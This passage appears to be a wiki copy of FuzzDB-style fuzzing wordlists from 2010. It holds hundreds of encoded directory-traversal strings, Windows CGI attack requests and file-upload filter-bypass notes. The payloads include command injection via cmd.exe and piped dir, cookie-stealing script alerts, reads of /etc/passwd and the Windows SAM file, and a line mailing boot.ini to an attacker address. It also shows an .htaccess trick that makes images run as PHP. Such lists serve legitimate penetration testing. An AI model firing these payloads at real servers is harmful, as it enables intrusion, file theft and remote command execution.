0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010)<br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumerated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Generic (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - PHP Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> # PHP on Windows<br /> {PHPSCRIPT}.php::$DATA<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Microsoft Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> {PHPSCRIPT}.php.doc<br /> {PHPSCRIPT}.php.xls<br /> {PHPSCRIPT}.php.xlsx<br /> {PHPSCRIPT}.php.pdf<br /> {PHPSCRIPT}.php.jpeg<br /> {PHPSCRIPT}.php.gif<br /> {PHPSCRIPT}.php.zip<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 